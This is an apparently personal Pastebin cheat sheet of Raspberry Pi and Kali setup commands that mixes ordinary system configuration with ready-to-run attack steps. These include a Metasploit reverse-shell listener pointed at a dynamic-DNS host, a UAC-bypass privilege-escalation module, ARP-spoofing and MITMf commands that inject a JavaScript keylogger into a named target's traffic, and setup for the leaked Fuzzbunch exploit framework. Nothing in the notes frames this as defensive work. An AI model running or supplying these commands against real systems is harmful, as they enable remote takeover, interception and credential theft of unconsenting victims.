Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ### FUZZBUNCH ###
- sudo apt-get install wine winbind winetricks
- sudo dpkg --add-architecture i386 && sudo apt-get update && sudo apt-get install wine32
- WINEPREFIX="$HOME/.wine-fuzzbunch" WINEARCH=win32 wine wineboot
- export WINEPREFIX=$HOME/.wine-fuzzbunch
- wine regedit ---> "HKEY_CURRENT_USER" ---> "Environment" ---> "New" ---> "String Value"
- Name: "PATH"
- click "Modify" and paste
- "c:\\windows;c:\\windows\\system;C:\\Python26;C:\\fuzzbunch-debian\\windows\\fuzzbunch"
- # "Registry" ---> "Exit"
- cd $HOME/.wine-fuzzbunch/drive_c
- winetricks python26
- cd $HOME/.wine-fuzzbunch/drive_c/fuzzbunch-debian/windows
- wine cmd.exe
- python fb.py
- ### SETUP WEBSERVER ###
- sudo apt-get install apache2 php-common mysql-common phpmyadmin
- ### ps1encode.rb ###
- wget https://raw.githubusercontent.com/CroweCybersecurity/ps1encode/master/ps1encode.rb
- ### Video dekodieren
- ffmpeg -loop 1 -i Cover.jpg -i Musik.mp3 -c:v libx264 -tune stillimage -c:a aac -b:a 320k -pix_fmt yuv420p -shortest out.mp4
- ### Youtube Upload ###
- sudo youtube-upload --title "Titel auf YouTube" Input.mp4
- ### BASICS ###
- username: pi
- password: raspberry
- sudo -s
- passwd
- passwd pi
- apt-get update
- apt-get install sudo nano raspi-config usbutils dosfstools iptables
- raspi-config
- #rpi-update
- apt-get upgrade
- reboot
- # apt-get dist-upgrade
- ### SETUP WIFI ###
- apt-get install firmware-linux-nonfree wireless-tools wpasupplicant pixiewps
- ### SETUP GUI ###
- sudo apt-get install raspi-config usbutils dosfstools iptables xserver-xorg xinit lightdm lxde-core lxappearance xfce4 xfce4-terminal
- rpi-update
- # PIXEL - raspberrypi-ui-mods
- # LXDE GUI - lxde-core lxappearance
- # XFCE GUI - xfce4 xfce4-terminal
- # MATE - mate-desktop-environment-core
- startx
- ### ADD USER ###
- passwd
- useradd -m dak47 (userdel)
- passwd dak47
- usermod -a -G sudo dak47
- chsh -s /bin/bash dak47
- ### SHELLCOLOR ###
- pi
- PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
- root
- PS1='${debian_chroot:+($debian_chroot)}\[\033[01;31m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
- ### RESIZE SD ###
- fdisk /dev/mmc
- d,2,n,p,2,w
- reboot now
- resize2fs /dev/mmcblk0p2
- ### RASPI-CONFIG ###
- sudo -s
- wget http://archive.raspberrypi.org/debian/pool/main/r/raspi-config/raspi-config_20121028_all.deb
- wget http://http.us.debian.org/debian/pool/main/l/lua5.1/lua5.1_5.1.5-7.1_armhf.deb
- wget http://http.us.debian.org/debian/pool/main/t/triggerhappy/triggerhappy_0.3.4-2_armhf.deb
- dpkg -i triggerhappy_0.3.4-2_armhf.deb
- dpkg -i lua5.1_5.1.5-7.1_armhf.deb
- dpkg -i raspi-config_20121028_all.deb
- ### SETUP JAVA ###
- echo "deb http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main" >> /etc/apt/sources.list
- echo "deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu precise main" >> /etc/apt/sources.list
- sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys EEA14886
- sudo apt-get update
- sudo apt-get install oracle-java8-installer oracle-java8-set-default oracle-java8-unlimited-jce-policy oracle-java8-jdk iceweasel
- ### STATIC INTERFACE NAME ###
- sudo nano /etc/udev/rules.d/70-persistent-net.rules
- SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="b8:27:eb:6e:53:94", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth0"
- SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="7c:dd:90:74:99:50", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="wlan0"
- SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:11:7f:51:99:ba", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="wlan1"
- ### MSF AUTORUN SCRIPT ###
- use multi/handler
- set PAYLOAD windows/x64/meterpreter/reverse_tcp
- set LHOST dak47.ddns.net
- set LPORT 4747
- set AutoRunScript multiconsolecommand -cl "background"
- exploit #Starts the listener
- #AutoRunScript is run
- use exploit/windows/local/bypassuac_injection
- set payload windows/x64/meterpreter/reverse_tcp
- set lhost dak47.ddns.net
- set LPORT 8888
- set session 1
- set target 1
- set AutoRunScript multiconsolecommand -cl "getsystem","getuid"
- exploit #Runs Priv_Escalation
- #AutoRunScript is run
- ### CURL ###
- sudo apt-get install php5-curl
- cd /usr/local/src
- wget http://curl.haxx.se/download/curl-7.36.0.tar.gz
- tar -xvzf curl-7.36.0.tar.gz
- rm *.gz
- cd curl-7.36.0
- sudo apt-get install build-essential
- ./configure
- make
- make install
- reboot
- ### INTERFACES ###
- auto lo
- iface lo inet loopback
- allow-hotplug eth0
- iface eth0 inet manual
- allow-hotplug eth1
- iface eth1 inet dhcp
- iface wlan0 inet dhcp
- byobu
- ### KALI TFT ###
- http://whitedome.com.au/re4son/index.php/2015/11/16/sticky-fingers-kali-pi/
- ### EXAGEAR ###
- mkdir exagear
- cd exagear
- wget http://downloads.eltechs.com/exagear-desktop-v-1-5/exagear-desktop-rpi2.tar.gz
- tar xvf exagear-desktop-rpi2.tar.gz
- sudo ./install-exagear.sh ubuntu-1504
- ### NO-IP-UPDATE-CLIENT ###
- sudo su -
- cd /usr/local/src
- wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
- tar xzf noip-duc-linux.tar.gz
- cd no-ip-2.1.9
- make
- make install
- /usr/local/bin/noip2 -C
- /usr/local/bin/noip2
- ### RENAME USER PI ###
- sudo adduser --no-create-home inter
- sudo visudo
- inter ALL=(ALL) NOPASSWD: ALL
- sudo usermod --move-home --login dak47 --home /home/dak47 pi
- sudo groupmod -n dak47 pi
- sudo visudo
- # inter ALL=(ALL) NOPASSWD: ALL
- # pi ALL=(ALL) NOPASSWD: ALL
- dak47 ALL=(ALL) NOPASSWD: ALL
- sudo deluser inter
- sudo nano /usr/bin/raspi-config
- 2x) if id -u pi > /dev/null 2>&1; then ÄNDERN IN if id -u dak47 > /dev/null 2>&1; then
- 1x) sed /etc/lightdm/lightdm.conf -i -e "s/^#autologin-user=.*/autologin-user=pi/" ÄNDERN IN
- sed /etc/lightdm/lightdm.conf -i -e "s/^#autologin-user=.*/autologin-user=dak47/"
- 1x) passwd pi ÄNDERN IN passwd dak47
- sudo raspi-config --> AutoLogin pi wählen
- sudo reboot
- ### PORTS ÄNDERN ###
- sudo nano /etc/ssh/sshd_config
- # Port 22 ---> Port **
- sudo /etc/init.d/ssh restart
- ###
- cd ~
- wget http://prdownloads.sourceforge.net/webadmin/webmin-1.710-minimal.tar.gz
- tar -zxvf webmin-1.710-minimal.tar.gz
- cd webmin-1.710
- sudo ./setup.sh
- ### OPENBOX MENU COMMAND ###
- xterm -e sh -c "cd /pentest/enumeration/theHarvester; python theHarvester.py;sudo -s"
- ### WLAN DROPOUT STOP ###
- sudo nano /etc/modprobe.d/8192cu.conf
- and paste the following in
- # Disable power saving
- options 8192cu rtw_power_mgnt=0 rtw_enusbss=1 rtw_ips_mode=1
- Then reboot with sudo reboot
- ### BASICS ###
- apt-get install git python3.4 apt-utils nano rpi-update firmware-ralink unzip openbox xorg aptitude obconf obmenu konsole tint2 nitrogen sudo
- ### MITMF ###
- apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
- pip install virtualenvwrapper
- nano .bashrc
- source /usr/bin/virtualenvwrapper.sh
- source /usr/bin/virtualenvwrapper.sh
- mkvirtualenv MITMf -p /usr/bin/python3.4
- git clone https://github.com/byt3bl33d3r/MITMf.git
- cd MITMf && git submodule init && git submodule update --recursive
- pip install -r requirements.txt
- sudo mitmf -i eth0 --arp --spoof --dns --hsts --gateway 192.168.178.1 --target 192.168.178.22 --jskeylogger
- ### WEBMIN ###
- sudo apt-get update
- sudo apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions
- wget http://prdownloads.sourceforge.net/webadmin/webmin_1.760_all.deb
- sudo dpkg --install webmin_1.760_all.deb
- ### ARPSPOOF ###
- arp -a
- arpspoof -i eth0 -t <victim ip> <gateway ip>
- arpspoof -i eth0 -t <gateway ip> <victim ip>
- sysctl -w net.ipv4.ip_forward=1
- iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
- mitmproxy -T --host
- ~s ~h "Host: .*\.cnn\.com" ~u /$
- ### METASPLOIT ###
- sudo -s
- cd
- apt-get -y install autoconf bundler bison build-essential curl git-core libapr1 libaprutil1 libcurl4-openssl-dev libgmp3-dev libpcap-dev libpq-dev
- libreadline6-dev libsqlite3-dev libssl-dev libsvn1 libtool libxml2 libxml2-dev libxslt-dev libyaml-dev locate ncurses-dev openssl postgresql postgresql-contrib wget xsel zlib1g zlib1g-dev
- mkdir -p $HOME/git
- cd $HOME/git
- git clone git@github.com:YOUR_USERNAME_FOR_GITHUB/metasploit-framework
- cd metasploit-framework
- git remote add upstream git@github.com:rapid7/metasploit-framework.git
- git fetch upstream
- git checkout -b upstream-master --track upstream/master
- curl -sSL https://rvm.io/mpapis.asc | gpg --import -
- curl -L https://get.rvm.io | bash -s stable
- curl -o rvm.sh -L https://get.rvm.io
- less rvm.sh # Read it and see it's all good
- cat rvm.sh | bash -s stable
- source ~/.rvm/scripts/rvm
- cd ~/git/metasploit-framework
- rvm --install .ruby-version
- gem install bundler
- gconftool-2 --set --type boolean /apps/gnome-terminal/profiles/Default/login_shell true
- ruby -v
- cd ~/git/metasploit-framework/
- bundle install
- ### ADAFRUIT REPO ###
- echo "deb http://apt.adafruit.com/raspbian/ jessie main" >> /etc/apt/sources.list
- sudo wget -O - -q https://apt.adafruit.com/apt.adafruit.com.gpg.key | apt-key add -
- sudo apt-get update
- ### PORTING FUZZBUNCH TO LINUX ###
- sudo apt-get install wine winbind winetricks
- dpkg --add-architecture i386 && apt-get update && apt-get install wine32
- WINEPREFIX="$HOME/.wine-fuzzbunch" WINEARCH=win32 wine wineboot
- export WINEPREFIX=$HOME/.wine-fuzzbunch
- -------------
- wine regedit
- # Select the folder: "HKEY_CURRENT_USER"
- # Under that folder, select: "Environment"
- # Right Click in the registry editor.
- # Select "New", then "String Value"
- # In the text box that just appeared, type "PATH"
- # Right click the item you just created and click "Modify"
- # Under the field labeled "Value Data" type (or copy /paste):
- c:\\windows;c:\\windows\\system;C:\\Python26;C:\\fuzzbunch-debian\\windows\\fuzzbunch
- # Then click "Registry" in the upper left hand corner, and click "Exit" to exit the registry editor.
- ---------------
- cd $HOME/.wine-fuzzbunch/drive_c
- git clone https://github.com/mdiazcl/fuzzbunch-debian.git
- cd fuzzbunch-debian
- winetricks python26
- sudo apt-get install wifite cowpatty aircrack-ng isc-dhcp-server reaver dsniff hostapd iptables bully sslstrip beef-xss expect lighttpd crunch ettercap-graphical hashcat mdk3 bettercap pixiewps
- ##### INSTALL GUI
- sudo apt-get install --no-install-recommends xserver-xorg
- sudo apt-get install --no-install-recommends xinit
- sudo apt-get install raspberrypi-ui-mods
- sudo apt-get install --no-install-recommends raspberrypi-ui-mods lxterminal gvfs
- ##### INSTALL PITFT
- curl -SLs https://apt.adafruit.com/add-pin | sudo bash
- sudo apt-get install raspberrypi-bootloader
- sudo nano /boot/config.txt
- ADD @ END
- [pi1]
- device_tree=bcm2708-rpi-b-plus.dtb
- [pi2]
- device_tree=bcm2709-rpi-2-b.dtb
- [all]
- dtparam=spi=on
- dtparam=i2c1=on
- dtparam=i2c_arm=on
- dtoverlay=pitft28r,rotate=90,speed=32000000,fps=20
- ----------
- sudo reboot
- sudo mv /usr/share/X11/xorg.conf.d/99-fbturbo.conf ~
- export FRAMEBUFFER=/dev/fb1
- startx
- STRG+C
- sudo nano /etc/modules
- ADD
- stmpe-ts
- ----------
- sudo reboot
- sudo mkdir /etc/X11/xorg.conf.d
- sudo nano /etc/X11/xorg.conf.d/99-calibration.conf
- ADD
- Section "InputClass"
- Identifier "calibration"
- MatchProduct "stmpe-ts"
- Option "Calibration" "3800 200 200 3800"
- Option "SwapAxes" "1"
- EndSection
- ----------
- FRAMEBUFFER=/dev/fb1 startx
- sudo nano ~/.profile
- ADD @ TOP
- export FRAMEBUFFER=/dev/fb1
- sudo reboot
- ##### ADD USER / CHANGE PASSWD
- sudo -s
- passwd
- useradd -m pi
- passwd pi
- usermod -a -G sudo pi
- ch sh /bin/bash sudo pi
- sudo apt-get install python python-pip ruby gem apache2 metasploit-framework beef-xss armitage aptitude xrdp openssl-server
- ##### Porting the leaked Equation Group (EQGRP) “Fuzzbunch” tool to Linux
- sudo apt-get install wine winbind winetricks
- dpkg --add-architecture i386 && apt-get update && apt-get install wine32
- WINEPREFIX="$HOME/.wine-fuzzbunch" WINEARCH=win32 wine wineboot
- export WINEPREFIX=$HOME/.wine-fuzzbunch
- wine regedit
- Select the folder: "HKEY_CURRENT_USER"
- Under that folder, select: "Environment"
- Right Click in the registry editor.
- Select "New", then "String Value"
- In the text box that just appeared, type "PATH"
- Right click the item you just created and click "Modify"
- Under the field labeled "Value Data" type (or copy /paste):
- c:\\windows;c:\\windows\\system;C:\\Python26;C:\\fuzzbunch-debian\\windows\\fuzzbunch
- Then click "Registry" in the upper left hand corner, and click "Exit" to exit the registry editor.
- Now, we're going to CD into our newly created Wine folder, and grab the files we need from github.
- cd $HOME/.wine-fuzzbunch/drive_c
- You will need to apt-get install git if it isn't already.
- git clone https://github.com/mdiazcl/fuzzbunch-debian.git
- Now, we're going to install Python2.6 and pywin32 into our Wine environment. (Have no fear, for WINETRICKS IS HERE!)
- Simply type:
- winetricks python26
- Winetricks will install both Python2.6 and pywin32 for you with that one command. All you need to do is select "For all users" and keep on hitting next.
- Now, we're going to inspect our final product! The FuzzBunch python application.
- First, we need to CD into where the program is located.
- cd $HOME/.wine-fuzzbunch/drive_c/fuzzbunch-debian/windows
- Now, we type "wine cmd.exe" and then "python fb.py"
- ### WEBSERVER ###
- sudo apt-get update
- sudo apt-get install apache2
- sudo apt-get install php5
- cd /var/www
- sudo nano phpinfo.php
- -----
- <?php
- phpinfo();
- ?>
- -----
- sudo bash
- apt-get install mysql-server mysql-client php5-mysql
- sudo restart
- sudo bash
- apt-get install libapache2-mod-auth-mysql php5-mysql phpmyadmin
- ### JAVA ###
- sudo apt-get purge openjdk*
- sudo apt-key adv –recv-key –keyserver keyserver.ubuntu.com EEA14886
- sudo nano /etc/apt/sources.list
- deb http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main
- deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main
- sudo apt-get update
- sudo apt-get install oracle-java8-installer
- sudo apt-get install oracle-java8-set-default
- sudo apt-get purge openjdk*
- sudo apt-get purge java7*
- sudo apt-get autoremove
- java -version
- ### No-IP ###
- cd /usr/local/src
- wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
- tar xzf noip-duc-linux.tar.gz
- cd no-ip-2.1.9
- make
- make install
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement